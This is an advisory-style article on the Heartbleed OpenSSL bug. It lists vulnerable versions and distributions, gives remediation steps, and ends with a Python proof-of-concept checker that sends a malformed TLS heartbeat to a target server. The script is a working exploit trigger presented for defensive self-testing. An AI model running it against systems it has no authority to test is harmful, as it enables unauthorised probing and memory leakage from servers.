What is Heartbleed Bug?
What is the CVE-2014-0160?
How widespread is this?
Many questions, explanations and technical details are mentioned here: http://heartbleed.com/
The goal of this article is not to repeat what is there but rather to make a summary and point out the most important (and some extra stuff too):
The affected versions are:
OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable
Bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.
Some operating system distributions that have shipped with potentially vulnerable OpenSSL version:
Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
CentOS 6.5, OpenSSL 1.0.1e-15
Fedora 18, OpenSSL 1.0.1e-4
OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
FreeBSD 8.4 (OpenSSL 1.0.1e) and 9.1 (OpenSSL 1.0.1c)
NetBSD 5.0.2 (OpenSSL 1.0.1e)
OpenSUSE 12.2 (OpenSSL 1.0.1c)
Operating system distribution with versions that are not vulnerable:
Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14
SUSE Linux Enterprise Server
If you are like me, you have installed/compiled manually already some of the important packages (including OpenSSL) so the distributions list may not be so important.
I did not covered AIX here but I just got word that IBM security team created a bit of confusion by just fixing the vulnerability and not changing the OpenSSL version. I will not get into too much details but if you see the version 1.0.1e in your system and you have the package 1.0.1.502 installed (via lslpp command), you are NOT vulnerable. Examples of a non-vulnerable machine:
gzaix@root:/home/root # openssl version OpenSSL 1.0.1e 11 Feb 2013 gzaix@root:/home/root # lslpp -l|grep -i openssl openssl.base 1.0.1.502 COMMITTED Open Secure Socket Layer openssl.license 1.0.1.502 COMMITTED Open Secure Socket License openssl.man.en_US 1.0.1.502 COMMITTED Open Secure Socket Layer openssl.base 1.0.1.502 COMMITTED Open Secure Socket Layer
What services can be affected:
The mod_ssl module is a common extension installed on Apache HTTP Server, IBM HTTP Server (IHS) and Oracle HTTP Server (OHS) that uses OpenSSL as the cryptography engine for HTTPS protocol. nginx is another web server that is known to use OpenSSL library.
Also, any SMTP/POP3/IMAP e-mail server that is using these versions of OpenSSL as the underlying cryptography engine will be affected by this security threat.
There is no confirmation at this moment of some specific product so the best way is to check the vulnerability (the script is at the end of this article).
What you can do if you are affected:
1. Install/compile the safe version.
2. Reissue all SSL certificates where it's applicable.
3. Reset all web users passwords.
4. Check compromised application data. There is no way to know exactly what was exposed. Basically all application/services data that was protected by the encrypted communication could be possibly exposed so everybody involved must be aware and appropriate actions must be taken.
If you want to test your vulnerability (for your website, mail servers, services, etc.) check the script below.
How it works and output:
florian@florian:~$ ./OpenSSL_heartbleedtest.py tar.gz.ro -p 443 tar.gz.ro|[color=red]NOT VULNERABLE[/color]
The script:
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified for simplified checking by Yonathan Klijnsma import sys import struct import socket import time import select import re from optparse import OptionParser target = None options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: return None, None, None return typ, ver, pay def hit_hb(s): global target s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print target + '|NOT VULNERABLE' return False if typ == 24: if len(pay) > 3: print target + '|VULNERABLE' else: print target + '|NOT VULNERABLE' return True if typ == 21: print target + '|NOT VULNERABLE' return False def main(): global target opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() s.connect((args[0], opts.port)) target = args[0] sys.stdout.flush() s.send(hello) sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()